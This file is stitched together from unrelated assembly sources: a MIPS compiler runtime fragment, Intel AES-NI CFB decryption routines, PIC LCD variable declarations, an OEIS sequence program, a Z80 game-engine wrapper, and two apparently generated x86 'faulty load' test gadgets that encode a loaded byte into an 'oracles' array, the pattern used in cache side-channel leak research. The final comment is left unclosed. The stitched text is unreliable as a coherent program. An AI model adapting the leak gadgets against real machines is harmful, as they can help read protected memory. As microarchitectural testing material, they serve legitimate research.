la $a0, index_error
li $v0, 4
syscall
li $v0, 10
syscall
#En este metodo viole la regla usual de que los parametros van en los registros a, y se encuentran en los t.
#Esto se realizo ya que este metodo solo se usa en un lugar y atendiendo a la estructura del conversor a MIPS
.Object.Copy:
addi $sp, $sp, -8
sw $s0, 0($sp)
sw $s1, 4($sp)
move $s0, $t0
move $s1, $t1
addi $s1, 1
move $a0, $s1
li $v0, 9
syscall
move $t1, $v0
$ciclocopia:
beq $s1, $zero, $finciclocopia
lw $t0, 0($s0)
sw $t0, 0($t1)
addi $s0, 4
addi $t1, 4
addi $s1, -1
b $ciclocopia
$finciclocopia:
lw $s0, 0($sp)
lw $s1, 4($sp)
addi $sp, 8
jr $ra
.TypeCheck:
#lw $t0, 0($t0)
InicioChequeo:
lw $t0, 0($t0)
beq $t0, $zero, ChequeoFalse
beq $t0, $t1, ChequeoTrue
b InicioChequeo
ChequeoFalse:
move $v0, $zero
jr $ra
ChequeoTrue:
li $v0, 1
jr $ra
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 5, 0x90
.globl h9_DecryptCFB_RIJ128pipe_AES_NI
.type h9_DecryptCFB_RIJ128pipe_AES_NI, @function
h9_DecryptCFB_RIJ128pipe_AES_NI:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
sub $(144), %esp
movl (32)(%ebp), %eax
movdqu (%eax), %xmm4
movdqu %xmm4, (%esp)
movl (8)(%ebp), %esi
movl (12)(%ebp), %edi
movl (28)(%ebp), %edx
subl $(4), (24)(%ebp)
jl .Lshort_inputgas_1
.Lblks_loopgas_1:
lea (,%edx,4), %eax
xor %ecx, %ecx
.L__0000gas_1:
movl (%esi,%ecx), %ebx
movl %ebx, (16)(%esp,%ecx)
add $(4), %ecx
cmp %eax, %ecx
jl .L__0000gas_1
movl (20)(%ebp), %ecx
movdqa (%ecx), %xmm4
lea (%edx,%edx,2), %ebx
movdqu (%esp), %xmm0
movdqu (%esp,%edx), %xmm1
movdqu (%esp,%edx,2), %xmm2
movdqu (%esp,%ebx), %xmm3
lea (16)(%ecx), %ebx
pxor %xmm4, %xmm0
pxor %xmm4, %xmm1
pxor %xmm4, %xmm2
pxor %xmm4, %xmm3
movdqa (%ebx), %xmm4
add $(16), %ebx
movl (16)(%ebp), %eax
sub $(1), %eax
.Lcipher_loopgas_1:
aesenc %xmm4, %xmm0
aesenc %xmm4, %xmm1
aesenc %xmm4, %xmm2
aesenc %xmm4, %xmm3
movdqa (%ebx), %xmm4
add $(16), %ebx
dec %eax
jnz .Lcipher_loopgas_1
aesenclast %xmm4, %xmm0
aesenclast %xmm4, %xmm1
aesenclast %xmm4, %xmm2
aesenclast %xmm4, %xmm3
lea (%edx,%edx,2), %ebx
movdqu (16)(%esp), %xmm4
movdqu (16)(%esp,%edx), %xmm5
movdqu (16)(%esp,%edx,2), %xmm6
movdqu (16)(%esp,%ebx), %xmm7
pxor %xmm4, %xmm0
movdqu %xmm0, (80)(%esp)
pxor %xmm5, %xmm1
movdqu %xmm1, (80)(%esp,%edx)
pxor %xmm6, %xmm2
movdqu %xmm2, (80)(%esp,%edx,2)
pxor %xmm7, %xmm3
movdqu %xmm3, (80)(%esp,%ebx)
lea (,%edx,4), %eax
xor %ecx, %ecx
.L__0001gas_1:
movl (80)(%esp,%ecx), %ebx
movl %ebx, (%edi,%ecx)
add $(4), %ecx
cmp %eax, %ecx
jl .L__0001gas_1
movdqu (%esp,%eax), %xmm0
movdqu %xmm0, (%esp)
add %eax, %esi
add %eax, %edi
subl $(4), (24)(%ebp)
jge .Lblks_loopgas_1
.Lshort_inputgas_1:
addl $(4), (24)(%ebp)
jz .Lquitgas_1
lea (,%edx,2), %ebx
lea (%edx,%edx,2), %ecx
cmpl $(2), (24)(%ebp)
cmovl %edx, %ebx
cmovg %ecx, %ebx
xor %ecx, %ecx
.L__0002gas_1:
movb (%esi,%ecx), %al
movb %al, (16)(%esp,%ecx)
add $(1), %ecx
cmp %ebx, %ecx
jl .L__0002gas_1
movl (20)(%ebp), %ecx
movl (16)(%ebp), %eax
lea (,%eax,4), %esi
lea (-144)(%ecx,%esi,4), %esi
xor %eax, %eax
.Lsingle_blk_loopgas_1:
movdqu (%esp,%eax), %xmm0
pxor (%ecx), %xmm0
cmpl $(12), (16)(%ebp)
jl .Lkey_128_sgas_1
jz .Lkey_192_sgas_1
.Lkey_256_sgas_1:
aesenc (-64)(%esi), %xmm0
aesenc (-48)(%esi), %xmm0
.Lkey_192_sgas_1:
aesenc (-32)(%esi), %xmm0
aesenc (-16)(%esi), %xmm0
.Lkey_128_sgas_1:
aesenc (%esi), %xmm0
aesenc (16)(%esi), %xmm0
aesenc (32)(%esi), %xmm0
aesenc (48)(%esi), %xmm0
aesenc (64)(%esi), %xmm0
aesenc (80)(%esi), %xmm0
aesenc (96)(%esi), %xmm0
aesenc (112)(%esi), %xmm0
aesenc (128)(%esi), %xmm0
aesenclast (144)(%esi), %xmm0
movdqu (16)(%esp,%eax), %xmm1
pxor %xmm1, %xmm0
movdqu %xmm0, (80)(%esp,%eax)
add %edx, %eax
decl (24)(%ebp)
jnz .Lsingle_blk_loopgas_1
xor %ecx, %ecx
.L__0003gas_1:
movb (80)(%esp,%ecx), %al
movb %al, (%edi,%ecx)
add $(1), %ecx
cmp %ebx, %ecx
jl .L__0003gas_1
.Lquitgas_1:
add $(144), %esp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe1:
.size h9_DecryptCFB_RIJ128pipe_AES_NI, .Lfe1-(h9_DecryptCFB_RIJ128pipe_AES_NI)
.p2align 5, 0x90
.globl h9_DecryptCFB32_RIJ128pipe_AES_NI
.type h9_DecryptCFB32_RIJ128pipe_AES_NI, @function
h9_DecryptCFB32_RIJ128pipe_AES_NI:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
sub $(144), %esp
movl (32)(%ebp), %eax
movdqu (%eax), %xmm4
movdqu %xmm4, (%esp)
movl (8)(%ebp), %esi
movl (12)(%ebp), %edi
movl (28)(%ebp), %edx
subl $(4), (24)(%ebp)
jl .Lshort_inputgas_2
.Lblks_loopgas_2:
lea (,%edx,4), %eax
xor %ecx, %ecx
.L__0004gas_2:
movdqu (%esi,%ecx), %xmm0
movdqu %xmm0, (16)(%esp,%ecx)
add $(16), %ecx
cmp %eax, %ecx
jl .L__0004gas_2
movl (20)(%ebp), %ecx
movdqa (%ecx), %xmm4
lea (%edx,%edx,2), %ebx
movdqu (%esp), %xmm0
movdqu (%esp,%edx), %xmm1
movdqu (%esp,%edx,2), %xmm2
movdqu (%esp,%ebx), %xmm3
lea (16)(%ecx), %ebx
pxor %xmm4, %xmm0
pxor %xmm4, %xmm1
pxor %xmm4, %xmm2
pxor %xmm4, %xmm3
movdqa (%ebx), %xmm4
add $(16), %ebx
movl (16)(%ebp), %eax
sub $(1), %eax
.Lcipher_loopgas_2:
aesenc %xmm4, %xmm0
aesenc %xmm4, %xmm1
aesenc %xmm4, %xmm2
aesenc %xmm4, %xmm3
movdqa (%ebx), %xmm4
add $(16), %ebx
dec %eax
jnz .Lcipher_loopgas_2
aesenclast %xmm4, %xmm0
aesenclast %xmm4, %xmm1
aesenclast %xmm4, %xmm2
aesenclast %xmm4, %xmm3
lea (%edx,%edx,2), %ebx
movdqu (16)(%esp), %xmm4
movdqu (16)(%esp,%edx), %xmm5
movdqu (16)(%esp,%edx,2), %xmm6
movdqu (16)(%esp,%ebx), %xmm7
pxor %xmm4, %xmm0
movdqu %xmm0, (80)(%esp)
pxor %xmm5, %xmm1
movdqu %xmm1, (80)(%esp,%edx)
pxor %xmm6, %xmm2
movdqu %xmm2, (80)(%esp,%edx,2)
pxor %xmm7, %xmm3
movdqu %xmm3, (80)(%esp,%ebx)
lea (,%edx,4), %eax
xor %ecx, %ecx
.L__0005gas_2:
movdqu (80)(%esp,%ecx), %xmm0
movdqu %xmm0, (%edi,%ecx)
add $(16), %ecx
cmp %eax, %ecx
jl .L__0005gas_2
movdqu (%esp,%eax), %xmm0
movdqu %xmm0, (%esp)
add %eax, %esi
add %eax, %edi
subl $(4), (24)(%ebp)
jge .Lblks_loopgas_2
.Lshort_inputgas_2:
addl $(4), (24)(%ebp)
jz .Lquitgas_2
lea (,%edx,2), %ebx
lea (%edx,%edx,2), %ecx
cmpl $(2), (24)(%ebp)
cmovl %edx, %ebx
cmovg %ecx, %ebx
xor %ecx, %ecx
.L__0006gas_2:
movl (%esi,%ecx), %eax
movl %eax, (16)(%esp,%ecx)
add $(4), %ecx
cmp %ebx, %ecx
jl .L__0006gas_2
movl (20)(%ebp), %ecx
movl (16)(%ebp), %eax
lea (,%eax,4), %esi
lea (-144)(%ecx,%esi,4), %esi
xor %eax, %eax
.Lsingle_blk_loopgas_2:
movdqu (%esp,%eax), %xmm0
pxor (%ecx), %xmm0
cmpl $(12), (16)(%ebp)
jl .Lkey_128_sgas_2
jz .Lkey_192_sgas_2
.Lkey_256_sgas_2:
aesenc (-64)(%esi), %xmm0
aesenc (-48)(%esi), %xmm0
.Lkey_192_sgas_2:
aesenc (-32)(%esi), %xmm0
aesenc (-16)(%esi), %xmm0
.Lkey_128_sgas_2:
aesenc (%esi), %xmm0
aesenc (16)(%esi), %xmm0
aesenc (32)(%esi), %xmm0
aesenc (48)(%esi), %xmm0
aesenc (64)(%esi), %xmm0
aesenc (80)(%esi), %xmm0
aesenc (96)(%esi), %xmm0
aesenc (112)(%esi), %xmm0
aesenc (128)(%esi), %xmm0
aesenclast (144)(%esi), %xmm0
movdqu (16)(%esp,%eax), %xmm1
pxor %xmm1, %xmm0
movdqu %xmm0, (80)(%esp,%eax)
add %edx, %eax
decl (24)(%ebp)
jnz .Lsingle_blk_loopgas_2
xor %ecx, %ecx
.L__0007gas_2:
movl (80)(%esp,%ecx), %eax
movl %eax, (%edi,%ecx)
add $(4), %ecx
cmp %ebx, %ecx
jl .L__0007gas_2
.Lquitgas_2:
add $(144), %esp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe2:
.size h9_DecryptCFB32_RIJ128pipe_AES_NI, .Lfe2-(h9_DecryptCFB32_RIJ128pipe_AES_NI)
.p2align 5, 0x90
.globl h9_DecryptCFB128_RIJ128pipe_AES_NI
.type h9_DecryptCFB128_RIJ128pipe_AES_NI, @function
h9_DecryptCFB128_RIJ128pipe_AES_NI:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
movl (8)(%ebp), %esi
movl (12)(%ebp), %edi
movl (20)(%ebp), %ecx
movl (24)(%ebp), %edx
movl (28)(%ebp), %eax
movdqu (%eax), %xmm0
sub $(64), %edx
jl .Lshort_inputgas_3
.Lblks_loopgas_3:
movdqa (%ecx), %xmm7
lea (16)(%ecx), %ebx
movdqu (%esi), %xmm1
movdqu (16)(%esi), %xmm2
movdqu (32)(%esi), %xmm3
pxor %xmm7, %xmm0
pxor %xmm7, %xmm1
pxor %xmm7, %xmm2
pxor %xmm7, %xmm3
movdqa (%ebx), %xmm7
add $(16), %ebx
movl (16)(%ebp), %eax
sub $(1), %eax
.Lcipher_loopgas_3:
aesenc %xmm7, %xmm0
aesenc %xmm7, %xmm1
aesenc %xmm7, %xmm2
aesenc %xmm7, %xmm3
movdqa (%ebx), %xmm7
add $(16), %ebx
dec %eax
jnz .Lcipher_loopgas_3
aesenclast %xmm7, %xmm0
movdqu (%esi), %xmm4
aesenclast %xmm7, %xmm1
movdqu (16)(%esi), %xmm5
aesenclast %xmm7, %xmm2
movdqu (32)(%esi), %xmm6
aesenclast %xmm7, %xmm3
movdqu (48)(%esi), %xmm7
add $(64), %esi
pxor %xmm4, %xmm0
movdqu %xmm0, (%edi)
pxor %xmm5, %xmm1
movdqu %xmm1, (16)(%edi)
pxor %xmm6, %xmm2
movdqu %xmm2, (32)(%edi)
pxor %xmm7, %xmm3
movdqu %xmm3, (48)(%edi)
add $(64), %edi
movdqa %xmm7, %xmm0
sub $(64), %edx
jge .Lblks_loopgas_3
.Lshort_inputgas_3:
add $(64), %edx
jz .Lquitgas_3
movl (16)(%ebp), %eax
lea (,%eax,4), %ebx
lea (-144)(%ecx,%ebx,4), %ebx
.Lsingle_blk_loopgas_3:
pxor (%ecx), %xmm0
cmp $(12), %eax
jl .Lkey_128_sgas_3
jz .Lkey_192_sgas_3
.Lkey_256_sgas_3:
aesenc (-64)(%ebx), %xmm0
aesenc (-48)(%ebx), %xmm0
.Lkey_192_sgas_3:
aesenc (-32)(%ebx), %xmm0
aesenc (-16)(%ebx), %xmm0
.Lkey_128_sgas_3:
aesenc (%ebx), %xmm0
aesenc (16)(%ebx), %xmm0
aesenc (32)(%ebx), %xmm0
aesenc (48)(%ebx), %xmm0
aesenc (64)(%ebx), %xmm0
aesenc (80)(%ebx), %xmm0
aesenc (96)(%ebx), %xmm0
aesenc (112)(%ebx), %xmm0
aesenc (128)(%ebx), %xmm0
aesenclast (144)(%ebx), %xmm0
movdqu (%esi), %xmm1
add $(16), %esi
pxor %xmm1, %xmm0
movdqu %xmm0, (%edi)
add $(16), %edi
movdqa %xmm1, %xmm0
sub $(16), %edx
jnz .Lsingle_blk_loopgas_3
.Lquitgas_3:
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe3:
.size h9_DecryptCFB128_RIJ128pipe_AES_NI, .Lfe3-(h9_DecryptCFB128_RIJ128pipe_AES_NI)
|
#include "Platform.inc"
radix decimal
LcdRam udata
global lcdContrast
global enableLcdCount
global lcdFlags
global lcdWorkingRegister
global lcdState
global lcdStateParameter0
global lcdStateParameter1
global lcdNextState
global flashPointerMsb
global flashPointerLsb
global numberOfCharactersRemaining
global characters
lcdContrast res 1
enableLcdCount res 1
lcdFlags res 1
lcdWorkingRegister res 1
lcdState res 1
lcdStateParameter0 res 1
lcdStateParameter1 res 1
lcdNextState res 1
flashPointerMsb res 1
flashPointerLsb res 1
numberOfCharactersRemaining res 1
characters res 2
end
|
; A205794: Least positive integer j such that n divides C(k)-C(j) , where k, as in A205793, is the least number for which there is such a j, and C=A002808 (composite numbers).
; 1,1,2,1,1,1,3,1,2,1,1,1,3,1,2,1,1,1,2,1,1,1,1,1,3,1,2,1,1,1,1,1,2,1,1,1,3,1,2,1,1,1,2,1,1,1,1,1,2,1,1,1,1,1,3,1,2,1,1,1,1,1,2,1,1,1,3,1,2,1,1,1,1,1,2,1,1,1,2,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,3,1,2
trn $0,1
add $0,2
seq $0,155874 ; Smallest positive composite number such that a(n)+n is also composite.
div $0,2
sub $0,1
|
; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR THE BIFROST*2 ENGINE
;
; See "bifrost2.h" for further details
; ----------------------------------------------------------------
; void BIFROST2_setTile(unsigned char px,unsigned char py,unsigned char tile)
SECTION code_clib
SECTION code_bifrost2
PUBLIC _BIFROST2_setTile
EXTERN asm_BIFROST2_setTile
_BIFROST2_setTile:
ld hl,4
add hl,sp
ld e,(hl) ; E = tile
dec hl
ld c,(hl) ; C = py
dec hl
ld l,(hl) ; L = px
jp asm_BIFROST2_setTile
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xf659, %r8
nop
nop
add $44379, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
movups %xmm1, (%r8)
nop
nop
nop
nop
nop
inc %r15
lea addresses_A_ht+0x1e08b, %rdx
nop
nop
xor $41859, %r15
and $0xffffffffffffffc0, %rdx
movaps (%rdx), %xmm4
vpextrq $1, %xmm4, %rcx
nop
nop
nop
nop
nop
and $25631, %rdi
lea addresses_WT_ht+0xf30b, %rdi
nop
nop
cmp %rbp, %rbp
movb (%rdi), %dl
nop
xor $23401, %r15
lea addresses_A_ht+0x9acb, %r8
sub %rdi, %rdi
movb (%r8), %r10b
nop
nop
cmp %r8, %r8
lea addresses_WC_ht+0x990b, %rsi
lea addresses_WT_ht+0x600b, %rdi
clflush (%rsi)
nop
nop
nop
dec %r10
mov $41, %rcx
rep movsw
nop
nop
nop
nop
dec %r8
lea addresses_WT_ht+0x540b, %r15
nop
nop
nop
nop
xor $43353, %rdx
vmovups (%r15), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rsi
nop
nop
nop
add %rbp, %rbp
lea addresses_WC_ht+0x1630b, %rbp
nop
nop
sub $12214, %r15
vmovups (%rbp), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdx
nop
nop
inc %rsi
lea addresses_D_ht+0x14d0b, %rsi
lea addresses_D_ht+0x1a1cb, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
xor $22587, %rdx
mov $29, %rcx
rep movsl
nop
nop
nop
dec %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %rbx
push %rcx
push %rdx
push %rsi
// Store
lea addresses_US+0x13917, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
sub $61517, %rsi
mov $0x5152535455565758, %r13
movq %r13, %xmm5
vmovups %ymm5, (%rdx)
nop
and %r13, %r13
// Store
lea addresses_UC+0xc30b, %r8
nop
nop
nop
nop
cmp $17217, %rcx
mov $0x5152535455565758, %rsi
movq %rsi, %xmm2
movups %xmm2, (%r8)
and $59151, %r12
// Load
lea addresses_US+0x232d, %rsi
clflush (%rsi)
sub %rcx, %rcx
vmovups (%rsi), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %r12
nop
nop
nop
nop
add $6961, %r13
// Faulty Load
lea addresses_D+0x1530b, %r8
clflush (%r8)
nop
nop
cmp %r12, %r12
movb (%r8), %bl
lea oracles, %rdx
and $0xff, %rbx
shlq $12, %rbx
mov (%rdx,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x184ea, %rsi
lea addresses_A_ht+0x1d74a, %rdi
nop
nop
nop
nop
nop
sub $617, %rbp
mov $126, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_A_ht+0x77a8, %r15
sub $553, %r8
mov (%r15), %esi
nop
nop
nop
inc %rbp
lea addresses_A_ht+0x1e826, %rsi
lea addresses_D_ht+0x1088a, %rdi
nop
nop
cmp $63906, %r12
mov $21, %rcx
rep movsl
add %r12, %r12
lea addresses_UC_ht+0x658a, %rcx
nop
nop
add $15545, %r12
mov (%rcx), %r15d
and %rbp, %rbp
lea addresses_UC_ht+0x1988a, %r15
nop
nop
add %r8, %r8
movw $0x6162, (%r15)
sub %rdi, %rdi
lea addresses_normal_ht+0x1708a, %rsi
lea addresses_UC_ht+0x148a, %rdi
and %r11, %r11
mov $109, %rcx
rep movsb
nop
nop
lfence
lea addresses_D_ht+0x14be, %r15
nop
and $14704, %rdi
movups (%r15), %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
xor %r11, %r11
lea addresses_UC_ht+0x16f8a, %r8
clflush (%r8)
nop
nop
nop
nop
cmp %rcx, %rcx
mov (%r8), %r11w
nop
and $63504, %r15
lea addresses_WC_ht+0x488a, %rsi
lea addresses_D_ht+0x888a, %rdi
nop
nop
nop
nop
cmp $7523, %r11
mov $11, %rcx
rep movsq
nop
nop
nop
sub $57986, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
// Store
lea addresses_UC+0x1085a, %r13
nop
cmp $54164, %rdi
movb $0x51, (%r13)
add %r12, %r12
// Store
lea addresses_normal+0xe3bb, %rdx
nop
nop
nop
nop
sub $6669, %r12
movb $0x51, (%rdx)
nop
nop
nop
nop
nop
add $18281, %r13
// Faulty Load
lea addresses_UC+0x1c08a, %r13
nop
nop
cmp %rcx, %rcx
mov (%r13), %di
lea oracles, %r13
and $0xff, %rdi
shlq $12, %rdi
mov (%r13,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'00': 21829}
